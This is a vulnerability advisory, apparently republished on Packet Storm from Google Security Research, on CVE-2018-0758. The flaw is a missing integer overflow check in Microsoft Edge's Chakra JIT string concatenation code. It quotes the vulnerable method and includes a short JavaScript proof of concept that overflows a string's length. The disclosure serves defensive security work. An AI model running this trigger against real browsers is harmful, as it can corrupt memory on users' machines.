Microsoft Edge Chakra JIT Missing Integer Overflow Check

2018-01-11T00:00:00
ID PACKETSTORM:145839
Type packetstorm
Reporter Google Security Research
Modified 2018-01-11T00:00:00

Description

                                        
                                            `Microsoft Edge: Chakra: JIT: Missing Integer Overflow check in Lowerer::LowerSetConcatStrMultiItem   
  
CVE-2018-0758  
  
  
The method "Lowerer::LowerSetConcatStrMultiItem" is used to generate machine code to concatenate strings.  
Here's a snippet of the method.  
void Lowerer::LowerSetConcatStrMultiItem(IR::Instr * instr)  
{  
...  
IR::IndirOpnd * dstLength = IR::IndirOpnd::New(concatStrOpnd, Js::ConcatStringMulti::GetOffsetOfcharLength(), TyUint32, func);  
...  
InsertAdd(false, dstLength, dstLength, srcLength, instr); <<------ (a)  
...  
}  
  
At (a), there's no check for integer overflow.  
  
Note: Chakra uses string chains to handle concatenated strings(the ConcatString class). So it doesn't require much memory to trigger the bug.  
  
PoC:  
let a = '';  
let b = 'A'.repeat(0x10000);  
for (let i = 0; i < 0x10000; i++) {  
a = 'BBBBBBBBB' + a + b;  
}  
  
print(a.length);  
print(b.length);  
print(a[0]);  
  
  
This bug is subject to a 90 day disclosure deadline. After 90 days elapse  
or a patch has been made broadly available, the bug report will become  
visible to the public.  
  
  
  
  
Found by: lokihardt  
  
`